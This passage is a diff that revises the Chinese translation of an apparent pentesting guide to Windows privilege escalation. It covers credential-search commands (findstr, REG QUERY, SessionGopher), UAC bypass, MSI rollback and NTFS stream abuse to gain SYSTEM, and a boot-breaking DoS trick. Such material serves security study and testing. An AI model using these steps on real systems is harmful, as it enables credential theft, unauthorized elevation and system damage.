来标识,每个组件通过一个或多个接口暴露功能,这些接口由 interface IDs (IIDs) 标识。 -COM classes and interfaces are defined in the registry under **HKEY\CLASSES\ROOT\CLSID** and **HKEY\CLASSES\ROOT\Interface** respectively. This registry is created by merging the **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** +COM 类和接口在注册表的 **HKEY\CLASSES\ROOT\CLSID** 和 **HKEY\CLASSES\ROOT\Interface** 下定义。该注册表由 **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** 合并生成,等于 **HKEY\CLASSES\ROOT**。 -Inside the CLSIDs of this registry you can find the child registry **InProcServer32** which contains a **default value** pointing to a **DLL** and a value called **ThreadingModel** that can be **Apartment** (单线程)、**Free** (多线程)、**Both** (单或多线程) 或 **Neutral** (线程中性)。 +Inside the CLSIDs of this registry you can find the child registry **InProcServer32** which contains a **default value** pointing to a **DLL** and a value called **ThreadingModel** that can be **Apartment** (单线程), **Free** (多线程), **Both** (单或多线程) or **Neutral** (线程中性). ![](<../../images/image (729).png>) -Basically, if you can **overwrite any of the DLLs** that are going to be executed, you could **escalate privileges** if that DLL is going to be executed by a different user. +基本上,如果你能 **overwrite any of the DLLs**,并且这些 DLL 将被执行,那么如果该 DLL 被不同用户执行,你就能够 **escalate privileges**。 To learn how attackers use COM Hijacking as a persistence mechanism check: @@ -1234,34 +1265,34 @@ To learn how attackers use COM Hijacking as a persistence mechanism check: com-hijacking.md {{#endref}} -### **在文件和注册表中搜索通用密码** +### **文件和注册表中的通用密码搜索** -**搜索文件内容** +**Search for file contents** ```bash cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config findstr /spin "password" *.* ``` -**按特定文件名搜索文件** +**搜索具有特定文件名的文件** ```bash dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* where /R C:\ user.txt where /R C:\ *.ini ``` -**搜索注册表中的密钥名称和密码** +**在注册表中搜索键名和密码** ```bash REG QUERY HKLM /F "password" /t REG_SZ /S /K REG QUERY HKCU /F "password" /t REG_SZ /S /K REG QUERY HKLM /F "password" /t REG_SZ /S /d REG QUERY HKCU /F "password" /t REG_SZ /S /d ``` -### 搜索密码的工具 +### 搜索 passwords 的工具 -[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **is a msf** 插件,我创建了这个插件用来**自动执行每一个在受害主机上搜索 credentials 的 metasploit POST 模块**。\ -[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) 自动搜索本页中提到的所有包含密码的文件。\ -[**Lazagne**](https://github.com/AlessandroZ/LaZagne) 是另一个用于从系统提取密码的优秀工具。 +[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **是一个 msf 插件**,我创建此插件以 **自动执行每个在受害者系统中搜索 credentials 的 metasploit POST module**。\ +[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) 会自动搜索本页提到的所有包含 passwords 的文件。\ +[**Lazagne**](https://github.com/AlessandroZ/LaZagne) 是另一个很好的工具,用于从系统中提取 password。 -该工具 [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) 搜索 **sessions**, **usernames** 和 **passwords**,针对那些以明文保存这些数据的工具(PuTTY, WinSCP, FileZilla, SuperPuTTY, 和 RDP) +工具 [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) 会搜索多个将这些数据以明文保存的工具的 **sessions**、**usernames** 和 **passwords**(PuTTY、WinSCP、FileZilla、SuperPuTTY 和 RDP)。 ```bash Import-Module path\to\SessionGopher.ps1; Invoke-SessionGopher -Thorough @@ -1270,30 +1301,30 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ``` ## Leaked Handlers -想象一下,**a process running as SYSTEM open a new process** (`OpenProcess()`) 并获得 **full access**。同一进程**also create a new process** (`CreateProcess()`) **with low privileges but inheriting all the open handles of the main process**。\ -然后,如果你对该低权限进程具有 **full access**,你可以获取使用 `OpenProcess()` 打开的特权进程的 **open handle** 并 **inject a shellcode**。\ -[阅读此示例以了解有关 **如何检测和利用此漏洞** 的更多信息。](leaked-handle-exploitation.md)\ -[另请阅读这篇**文章,以更完整地解释如何测试并滥用继承了不同权限级别(不仅限于 full access)的进程和线程的更多打开句柄**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). +设想 **一个以 SYSTEM 身份运行的进程使用** `OpenProcess()` **打开了一个新进程** 并且具有 **完全访问权限**。同一进程 **也使用** `CreateProcess()` **创建了一个权限较低但继承了主进程所有打开句柄的新进程**。\ +然后,如果你对该低权限进程拥有 **完全访问权限**,你可以获取用 `OpenProcess()` 打开的特权进程的 **打开句柄** 并 **注入 shellcode**。\ +[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\ +[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). ## Named Pipe Client Impersonation -共享内存段,称为 **pipes**,用于进程间通信和数据传输。 +被称为 **pipes** 的共享内存段允许进程间通信和数据传输。 -Windows 提供了名为 **Named Pipes** 的功能,允许不相关的进程共享数据,甚至跨网络。它类似于客户端/服务器架构,其角色定义为 **named pipe server** 和 **named pipe client**。 +Windows 提供了名为 **Named Pipes** 的功能,允许不相关的进程共享数据,甚至跨网络。这类似于客户端/服务器架构,角色定义为 **named pipe server** 和 **named pipe client**。 -当数据由 **client** 通过 pipe 发送时,设置该 pipe 的 **server** 在拥有必要的 **SeImpersonate** 权限时可以**承担(冒充)该 client 的身份**。识别出通过你可以模拟的 pipe 进行通信的**特权进程**,一旦该进程与您建立的 pipe 交互,就可以通过采用其身份来**获得更高的权限**。关于执行此类攻击的说明,可参考[**这里**](named-pipe-client-impersonation.md)和[**这里**](#from-high-integrity-to-system)。 +当数据由 **client** 通过 pipe 发送时,设置该 pipe 的 **server** 在拥有必要的 **SeImpersonate** 权限时可以 **采用 client 的身份**。识别一个通过你可以模仿的 pipe 与之通信的 **privileged process**,一旦该进程与您建立的 pipe 交互,就可以通过采用该进程的身份来 **提升权限**。有关执行此类攻击的说明,可在 [**here**](named-pipe-client-impersonation.md) 和 [**here**](#from-high-integrity-to-system) 找到有用的指南。 -此外,下面的工具允许你**用类似 burp 的工具拦截 named pipe 通信:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **而另一个工具允许列出并查看所有 pipes 以发现 privescs:** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) +此外,以下工具允许使用像 burp 这样的工具 **拦截 named pipe 通信:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **而这个工具允许列出并查看所有 pipes 来查找 privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) -## 其他 +## 杂项 -### File Extensions that could execute stuff in Windows +### 可能在 Windows 中执行代码的文件扩展名 -查看页面 **https://filesec.io/** +查看页面 **[https://filesec.io/](https://filesec.io/)** ### **监控命令行中的密码** -当以用户身份获得 shell 时,可能有计划任务或其他正在执行的进程会**在命令行中传递凭据**。下面的脚本每两秒捕获进程的命令行,并将当前状态与上一次状态进行比较,输出任何差异。 +当以用户身份获得 shell 时,可能存在计划任务或其他正在执行的进程会在 **命令行上传递凭据**。下面的脚本每两秒捕获一次进程的命令行,并将当前状态与之前的状态进行比较,输出任何差异。 ```bash while($true) { @@ -1303,15 +1334,15 @@ $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine Compare-Object -ReferenceObject $process -DifferenceObject $process2 } ``` -## Stealing passwords from processes +## 从进程窃取密码 -## From Low Priv User to NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass +## 从低权限用户到 NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass -如果你可以访问图形界面(通过控制台或 RDP)并且启用了 UAC,在某些版本的 Microsoft Windows 中,有可能让非特权用户运行一个终端或任何其他进程,例如以 "NT\AUTHORITY SYSTEM" 身份运行。 +如果你可以访问图形界面(通过 console 或 RDP),并且 UAC 已启用,那么在某些版本的 Microsoft Windows 中,从非特权用户可以运行终端或其他任何进程,例如 "NT\AUTHORITY SYSTEM"。 -这就可以利用同一个漏洞同时提升权限并绕过 UAC。此外,无需安装任何东西,过程中使用的可执行文件是由 Microsoft 签名并发行的。 +这使得可以利用同一漏洞同时提升权限并绕过 UAC。此外,无需安装任何东西,过程中使用的二进制文件由 Microsoft 签名并发布。 -受影响的一些系统如下: +以下是一些受影响的系统: ``` SERVER ====== @@ -1351,16 +1382,16 @@ Windows 10 1709 16299 link NOT opened 8) Remember to cancel setup and the UAC prompt to return to your desktop. ``` -## From Administrator Medium to High Integrity Level / UAC Bypass +## 从 Administrator Medium 到 High Integrity Level / UAC Bypass -阅读此文以**了解完整性级别(Integrity Levels)**: +阅读此处以了解 Integrity Levels: {{#ref}} integrity-levels.md {{#endref}} -然后**阅读此文以了解 UAC 及 UAC 绕过:** +然后阅读此处以了解 UAC 和 UAC bypasses: {{#ref}} @@ -1369,115 +1400,116 @@ integrity-levels.md ## From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP -该技术在 [**in this blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) 中描述,并且存在利用代码 [**available here**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs)。 +该技术在这篇[**blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) 中描述,相关 exploit code [**available here**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs)。 -该攻击基本上是滥用 Windows Installer 的 rollback 功能,在卸载过程中将合法文件替换为恶意文件。为此,攻击者需要创建一个**恶意 MSI 安装包**,用于劫持 `C:\Config.Msi` 文件夹,之后 Windows Installer 在卸载其他 MSI 包时会将 rollback 文件存放到该目录,而这些 rollback 文件会被修改为包含恶意负载。 +该攻击基本上是滥用 Windows Installer 的 rollback 功能,在卸载过程中将合法文件替换为恶意文件。为此,攻击者需要创建一个 **malicious MSI installer**,用于劫持 `C:\Config.Msi` 文件夹,Windows Installer 在卸载其他 MSI 包时会将 rollback 文件存放到该文件夹,而这些 rollback 文件随后会被修改为包含恶意负载。 -该技术摘要如下: +该方法总结如下: 1. **Stage 1 – Preparing for the Hijack (leave `C:\Config.Msi` empty)** - Step 1: Install the MSI - - 创建一个 `.msi`,在可写文件夹(`TARGETDIR`)中安装一个无害文件(例如 `dummy.txt`)。 - - 将安装程序标记为 **"UAC Compliant"**,以便**非管理员用户**可以运行它。 - - 在安装后保持对该文件的一个 **handle** 打开。 +- 创建一个 `.msi`,将一个无害文件(例如 `dummy.txt`)安装到一个可写文件夹(`TARGETDIR`)。 +- 将安装程序标记为 **"UAC Compliant"**,以便 **非管理员用户** 可以运行它。 +- 安装后保持对该文件的一个 **handle** 打开。 - Step 2: Begin Uninstall - - 卸载相同的 `.msi`。 - - 卸载过程开始将文件移动到 `C:\Config.Msi` 并将它们重命名为 `.rbf` 文件(rollback 备份)。 - - 使用 `GetFinalPathNameByHandle` **轮询打开的文件句柄**,以检测文件何时变为 `C:\Config.Msi\.rbf`。 +- 卸载同一个 `.msi`。 +- 卸载过程开始将文件移动到 `C:\Config.Msi` 并将它们重命名为 `.rbf` 文件(rollback 备份)。 +- 使用 `GetFinalPathNameByHandle` **轮询打开的文件句柄**,以检测该文件何时变为 `C:\Config.Msi\.rbf`。 - Step 3: Custom Syncing - - 该 `.msi` 包含一个**自定义卸载动作(SyncOnRbfWritten)**,该动作: - - 在 `.rbf` 写入时发出信号。 - - 然后在继续卸载之前**等待**另一个事件。 +- 该 `.msi` 包含一个 **custom uninstall action (`SyncOnRbfWritten`)**,该动作: +- 在 `.rbf` 被写入时发送信号。 +- 然后在继续卸载前 **等待** 另一个事件。 - Step 4: Block Deletion of `.rbf` - - 当接收到信号时,**以不含 `FILE_SHARE_DELETE` 的方式打开 `.rbf` 文件**——这将**阻止其被删除**。 - - 然后**回传信号**以便卸载可以完成。 - - Windows Installer 无法删除该 `.rbf`,因为无法删除所有内容,**`C:\Config.Msi` 不会被移除**。 +- 在接收到信号后,**以不包含 `FILE_SHARE_DELETE` 的方式打开 `.rbf` 文件** — 这会**阻止其被删除**。 +- 然后**回传信号**,以便卸载可以完成。 +- Windows Installer 无法删除该 `.rbf`,因为它无法删除所有内容,**`C:\Config.Msi` 将不会被移除**。 - Step 5: Manually Delete `.rbf` - - 你(攻击者)手动删除 `.rbf` 文件。 - - 现在 **`C:\Config.Msi` 为空**,可以被劫持。 +- 你(攻击者)手动删除 `.rbf` 文件。 +- 现在 **`C:\Config.Msi` 变为空**,可供劫持。 -> 在此时,**触发 SYSTEM 级别的任意文件夹删除漏洞**以删除 `C:\Config.Msi`。 +> 此时,**触发 SYSTEM-level 的任意文件夹删除漏洞**以删除 `C:\Config.Msi`。 2. **Stage 2 – Replacing Rollback Scripts with Malicious Ones** - Step 6: Recreate `C:\Config.Msi` with Weak ACLs - - 重新创建 `C:\Config.Msi` 文件夹。 - - 设置**弱 DACL**(例如 Everyone:F),并保持一个带有 `WRITE_DAC` 的句柄打开。 +- 你重新创建 `C:\Config.Msi` 文件夹。 +- 设置**弱的 DACLs**(例如 Everyone:F),并保持一个带有 `WRITE_DAC` 的 handle 打开。 - Step 7: Run Another Install - - 再次安装该 `.msi`,并设置: - - `TARGETDIR`:可写位置。 - - `ERROROUT`:一个触发强制失败的变量。 - - 此次安装将用于再次触发 **rollback**,它会读取 `.rbs` 和 `.rbf`。 +- 再次安装该 `.msi`,并设置: +- `TARGETDIR`:可写位置。 +- `ERROROUT`:触发强制失败的变量。 +- 这次安装将再次触发 **rollback**,它会读取 `.rbs` 和 `.rbf`。 - Step 8: Monitor for `.rbs` - - 使用 `ReadDirectoryChangesW` 监控 `C:\Config.Msi`,直到出现新的 `.rbs`。 - - 捕获其文件名。 +- 使用 `ReadDirectoryChangesW` 监视 `C:\Config.Msi`,直到出现新的 `.rbs`。 +- 捕获其文件名。 - Step 9: Sync Before Rollback - - 该 `.msi` 包含一个**自定义安装动作(SyncBeforeRollback)**,该动作: - - 当 `.rbs` 被创建时发出事件信号。 - - 然后在继续之前**等待**。 +- 该 `.msi` 包含一个 **custom install action (`SyncBeforeRollback`)**,该动作: +- 在 `.rbs` 创建时发送一个事件信号。 +- 然后在继续之前 **等待**。 - Step 10: Reapply Weak ACL - - 在收到 `.rbs created` 事件后: - - Windows Installer **会重新应用强 ACL** 到 `C:\Config.Msi`。 - - 但由于你仍然持有带有 `WRITE_DAC` 的句柄,你可以**再次重新应用弱 ACL**。 +- 在收到 `.rbs created` 事件后: +- Windows Installer 会**重新应用强 ACLs** 到 `C:\Config.Msi`。 +- 但由于你仍然持有带有 `WRITE_DAC` 的 handle,你可以**再次重新应用弱 ACLs**。 -> ACL 仅在打开句柄时强制执行,因此你仍然可以写入该文件夹。 +> ACLs 是**仅在打开句柄时强制执行**,因此你仍然可以写入该文件夹。 - Step 11: Drop Fake `.rbs` and `.rbf` - - 覆盖 `.rbs` 文件为一个**伪造的 rollback 脚本**,指示 Windows: - - 将你的 `.rbf`(恶意 DLL)恢复到一个**受保护的位置**(例如 `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`)。 - - 放置你的伪造 `.rbf`,其中包含**SYSTEM 级别的恶意负载 DLL**。 +- 覆盖 `.rbs` 文件为一个 **伪造的 rollback 脚本**,指示 Windows: +- 将你的 `.rbf`(恶意 DLL)恢复到一个 **特权位置**(例如 `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`)。 +- 放下你伪造的 `.rbf`,其中包含 **恶意的 SYSTEM 级负载 DLL**。 - Step 12: Trigger the Rollback - - 发出同步事件使安装程序继续。 - - 一个**type 19 custom action(ErrorOut)** 被配置为在已知点**故意使安装失败**。 - - 这会导致**开始 rollback**。 +- 发出同步事件以使安装程序继续。 +- 一个 **type 19 custom action (`ErrorOut`)** 被配置为在已知点**故意使安装失败**。 +- 这会导致**回滚开始**。 - Step 13: SYSTEM Installs Your DLL - - Windows Installer: - - 读取你恶意的 `.rbs`。 - - 将你的 `.rbf` DLL 复制到目标位置。 - - 现在你的**恶意 DLL 位于一个由 SYSTEM 加载的路径**中。 +- Windows Installer: +- 读取你恶意的 `.rbs`。 +- 将你的 `.rbf` DLL 复制到目标位置。 +- 现在你的 **恶意 DLL 位于由 SYSTEM 加载的路径**。 - Final Step: Execute SYSTEM Code - - 运行一个受信任的**auto-elevated binary**(例如 `osk.exe`),该二进制会加载你劫持的 DLL。 - - **Boom**:你的代码以 **SYSTEM** 身份执行。 +- 运行一个受信任的 **auto-elevated binary**(例如 `osk.exe`),它会加载你劫持的 DLL。 +- **Boom**:你的代码以 **SYSTEM** 身份执行。 + ### From Arbitrary File Delete/Move/Rename to SYSTEM EoP -主要的 MSI rollback 技术(前述方法)假设你可以删除整个文件夹(例如 `C:\Config.Msi`)。但如果你的漏洞仅允许**任意文件删除**怎么办? +主要的 MSI rollback 技术(上面所述)假定你可以删除整个文件夹(例如 `C:\Config.Msi`)。但如果你的漏洞只允许**任意文件删除**怎么办? -你可以利用 NTFS 内部机制:每个文件夹都有一个隐藏的替代数据流(alternate data stream),称为: +你可以利用 **NTFS internals**:每个文件夹都有一个名为的隐藏替代数据流: ``` C:\SomeFolder::$INDEX_ALLOCATION ``` -该数据流存储该文件夹的 **索引元数据**。 +此流存储该文件夹的 **索引元数据**。 -因此,如果你**删除文件夹的 `::$INDEX_ALLOCATION` 数据流**,NTFS 会**从文件系统中移除整个文件夹**。 +因此,如果你 **删除文件夹的 `::$INDEX_ALLOCATION` 流**,NTFS 会从文件系统中 **移除整个文件夹**。 -你可以使用标准的文件删除 APIs,例如: +你可以使用标准文件删除 API(例如): ```c DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION"); ``` -> 即使你调用的是 *file* delete API,它**删除文件夹本身**。 +> 即使你调用的是 *file* delete API,它 **会删除文件夹本身**。 -### 从删除文件夹内容到 SYSTEM EoP -如果你的 primitive 不允许你删除任意文件/文件夹,但它**确实允许删除攻击者控制的文件夹的*内容***? +### 从 Folder Contents Delete 到 SYSTEM EoP +如果你的 primitive 不允许你删除任意文件/文件夹,但它 **does allow deletion of the *contents* of an attacker-controlled folder**? 1. 步骤 1:设置诱饵文件夹和文件 -- 创建:`C:\temp\folder1` -- 在其中:`C:\temp\folder1\file1.txt` +- 创建: `C:\temp\folder1` +- 在其中: `C:\temp\folder1\file1.txt` -2. 步骤 2:在 `file1.txt` 上放置一个 **oplock** -- 该 oplock 会在有特权的进程尝试删除 `file1.txt` 时**暂停执行**。 +2. 步骤 2:将一个 **oplock** 放在 `file1.txt` 上 +- 当有特权进程尝试删除 `file1.txt` 时,该 oplock **暂停执行**。 ```c // pseudo-code RequestOplock("C:\\temp\\folder1\\file1.txt"); @@ -1485,29 +1517,29 @@ WaitForDeleteToTriggerOplock(); ``` 3. 第3步:触发 SYSTEM 进程(例如,`SilentCleanup`) - 该进程会扫描文件夹(例如,`%TEMP%`)并尝试删除其中的内容。 -- 当它处理到 `file1.txt` 时,**oplock 触发** 并将控制权交给你的回调。 +- 当它遇到 `file1.txt` 时,**oplock 触发** 并将控制权交给你的回调。 -4. 第4步:在 oplock 回调内 — 重定向删除 +4. 第4步:在 oplock 回调中 – 重定向删除操作 -- 选项 A:将 `file1.txt` 移到别处 -- 这样会清空 `folder1`,不会破坏 oplock。 -- 不要直接删除 `file1.txt` — 那会过早释放 oplock。 +- 选项 A:将 `file1.txt` 移到其他位置 +- 这样会清空 `folder1`,而不会破坏 oplock。 +- 不要直接删除 `file1.txt` —— 那会过早释放 oplock。 -- 选项 B:将 `folder1` 转换为 **junction**: +- 选项 B:将 `folder1` 转换为 **junction**: ```bash # folder1 is now a junction to \RPC Control (non-filesystem namespace) mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control ``` -- 选项 C:在 `\RPC Control` 中创建 **symlink**: +- 选项 C: 在 `\RPC Control` 中创建一个 **symlink**: ```bash # Make file1.txt point to a sensitive folder stream CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION") ``` -> 这会针对 NTFS 的内部流,该流用于存储文件夹元数据 — 删除它会删除该文件夹。 +> 这针对存储文件夹元数据的 NTFS 内部流 — 删除它会删除该文件夹。 -5. 第 5 步:释放 oplock +5. 第5步:释放 oplock - SYSTEM 进程继续并尝试删除 `file1.txt`。 -- 但现在,由于 junction + symlink,它实际上在删除: +- 但现在,由于 junction + symlink,它实际上正在删除: ``` C:\Config.Msi::$INDEX_ALLOCATION ``` @@ -1515,34 +1547,34 @@ C:\Config.Msi::$INDEX_ALLOCATION ### 从 Arbitrary Folder Create 到 Permanent DoS -利用一个原语,允许你 **create an arbitrary folder as SYSTEM/admin** — 即使 **you can’t write files** 或 **set weak permissions**。 +利用一个原语,让你 **create an arbitrary folder as SYSTEM/admin** — 即使 **you can’t write files** 或 **set weak permissions**。 -创建一个**folder**(不是 **file**),取名为一个**critical Windows driver**,例如: +创建一个 **folder**(不是 file),其名称为 **critical Windows driver**,例如: ``` C:\Windows\System32\cng.sys ``` - 此路径通常对应于 `cng.sys` 内核模式驱动程序。 -- 如果你 **事先将其创建为文件夹**,Windows 在启动时无法加载实际驱动程序。 -- 随后,Windows 在启动时尝试加载 `cng.sys`。 -- 它会看到该文件夹,**无法定位实际驱动程序**,并且**崩溃或停止启动**。 -- 没有**回退机制**,且在没有外部干预(例如引导修复或磁盘访问)的情况下**无法恢复**。 +- 如果你 **预先将其创建为一个文件夹**,Windows 在启动时无法加载实际的驱动程序。 +- 然后,Windows 在启动时尝试加载 `cng.sys`。 +- 它看到该文件夹,**无法解析实际的驱动程序**,并**导致崩溃或停止启动**。 +- 没有**回退**,并且**无法恢复**,除非进行外部干预(例如,启动修复或磁盘访问)。 ## **从 High Integrity 到 System** ### **新服务** -如果你已经在 High Integrity 进程上运行,**通往 SYSTEM 的路径**可能很简单,只需**创建并执行一个新服务**: +如果你已经在 High Integrity 进程上运行,**通往 SYSTEM 的路径**可以通过**创建并执行一个新服务**来轻松实现: ``` sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` > [!TIP] -> 在创建 service binary 时,确保它是一个有效的 service,或者该 binary 能尽快执行必要操作,因为如果不是有效 service,它将在 20s 内被终止。 +> 在创建 service binary 时,确保它是一个有效的 service,或者二进制执行必要的操作,因为如果它不是一个有效的 service,会在 20s 内被终止。 ### AlwaysInstallElevated -从 High Integrity 进程你可以尝试 **启用 AlwaysInstallElevated 注册表项** 并使用 _**.msi**_ 包装器 **install** 一个 reverse shell。\ +从 High Integrity 进程可以尝试 **启用 AlwaysInstallElevated 注册表项** 并使用一个 _**.msi**_ 封装 **安装** 反向 shell。\ [More information about the registry keys involved and how to install a _.msi_ package here.](#alwaysinstallelevated) ### High + SeImpersonate privilege to System @@ -1551,19 +1583,19 @@ sc start newservicename ### From SeDebug + SeImpersonate to Full Token privileges -如果你拥有这些 token privileges(通常会在已经是 High Integrity 的进程中发现),你将能够使用 SeDebug privilege **open almost any process**(非 protected processes),**copy the token** 该进程,并使用该 token **create an arbitrary process**。\ -使用此技术通常会 **选择任一以 SYSTEM 运行且具有所有 token privileges 的进程**(_是的,你可以找到没有所有 token privileges 的 SYSTEM 进程_)。\ -**你可以找到** [**example of code executing the proposed technique here**](sedebug-+-seimpersonate-copy-token.md)**.** +如果你拥有这些 token 权限(通常你会在已是 High Integrity 的进程里发现它们),你将能够使用 SeDebug 权限 **打开几乎任何进程**(非 protected processes),**复制该进程的 token**,并使用该 token **创建任意进程**。\ +使用此技术通常会 **选择任何以 SYSTEM 运行且具有所有 token 权限的进程**(_是的,你可能会找到没有所有 token 权限的 SYSTEM 进程_)。\ +**You can find an** [**example of code executing the proposed technique here**](sedebug-+-seimpersonate-copy-token.md)**.** ### **Named Pipes** -该技术被 meterpreter 用于 getsystem 提权。该技术包含 **创建一个 pipe,然后创建/滥用一个 service 向该 pipe 写入**。接着,使用 **`SeImpersonate`** privilege 创建该 pipe 的 **server** 将能够 **impersonate the token** 管道客户端(即 service)从而获取 SYSTEM privileges。\ -如果你想要 [**learn more about name pipes you should read this**](#named-pipe-client-impersonation)。\ -如果你想阅读一个从 high integrity 到 System 使用 name pipes 的示例,请看 [**how to go from high integrity to System using name pipes you should read this**](from-high-integrity-to-system-with-name-pipes.md)。 +该技术被 meterpreter 用于在 `getsystem` 中提权。该技术由 **创建一个 pipe,然后创建/滥用一个 service 向该 pipe 写入** 组成。随后,使用 **`SeImpersonate`** 权限创建该 pipe 的 **server** 将能够 **模拟 pipe 客户端(service)的 token**,从而获取 SYSTEM 权限。\ +如果你想 [**learn more about name pipes you should read this**](#named-pipe-client-impersonation)。\ +如果你想读一个 [**如何从 high integrity 使用 name pipes 提权到 System 的示例**](from-high-integrity-to-system-with-name-pipes.md)。 ### Dll Hijacking -如果你设法 **hijack a dll** 被以 **SYSTEM** 身份运行的 **process** **loaded**,你将能够以这些权限执行任意代码。因此 Dll Hijacking 对此类权限提升也很有用,而且从 high integrity 进程实现要容易得多,因为它对用于加载 dll 的文件夹具有 **write permissions**。\ +如果你能够 **劫持一个被 SYSTEM 进程加载的 dll**,你就能够以那些权限执行任意代码。因此 Dll Hijacking 对于此类提权也很有用,而且从 high integrity 进程发起更 **容易实现**,因为它通常对用于加载 dll 的文件夹具有 **写权限**。\ **You can** [**learn more about Dll hijacking here**](dll-hijacking/index.html)**.** ### **From Administrator or Network Service to System** @@ -1587,40 +1619,40 @@ sc start newservicename **PS** [**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\ -[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- 检查 misconfigurations 和 sensitive files(**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)。Detected.**\ +[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- 检查 misconfigurations 和 敏感文件 (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)。Detected.**\ [**JAWS**](https://github.com/411Hall/JAWS) **-- 检查一些可能的 misconfigurations 并收集信息(**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)。**\ [**privesc** ](https://github.com/enjoiz/Privesc)**-- 检查 misconfigurations**\ -[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- 提取 PuTTY, WinSCP, SuperPuTTY, FileZilla 和 RDP 已保存的会话信息。在本地使用 -Thorough。**\ -[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- 从 Credential Manager 提取 crendentials。Detected.**\ -[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- 在域内对收集到的密码进行 spray**\ -[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh 是一个 PowerShell ADIDNS/LLMNR/mDNS/NBNS 欺骗和中间人工具。**\ -[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- 基本的 Windows privesc 枚举**\ -[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- 搜索已知的 privesc 漏洞(已被 Watson 取代,DEPRECATED)\ -[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- 本地检查 **(需要 Admin 权限)** +[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- 提取 PuTTY, WinSCP, SuperPuTTY, FileZilla 和 RDP 的保存会话信息。在本地使用 -Thorough。**\ +[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- 从 Credential Manager 提取凭证。Detected.**\ +[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- 将收集到的密码在域内进行 spray**\ +[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh 是一个 PowerShell ADIDNS/LLMNR/mDNS/NBNS 欺骗与中间人工具。**\ +[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- 基础的 privesc Windows 枚举**\ +[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- 搜索已知的 privesc 漏洞(DEPRECATED for Watson)\ +[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- 本地检查 **(Need Admin rights)** **Exe** -[**Watson**](https://github.com/rasta-mouse/Watson) -- 搜索已知的 privesc 漏洞(需要使用 VisualStudio 编译)([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ -[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- 枚举主机以查找 misconfigurations(更偏信息收集工具而非纯 privesc)(需要编译)([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ -[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- 从大量软件中提取凭据(github 上有预编译 exe)**\ +[**Watson**](https://github.com/rasta-mouse/Watson) -- 搜索已知的 privesc 漏洞(需要用 VisualStudio 编译)([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ +[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- 枚举主机以查找 misconfigurations(更像信息收集工具而非单纯的 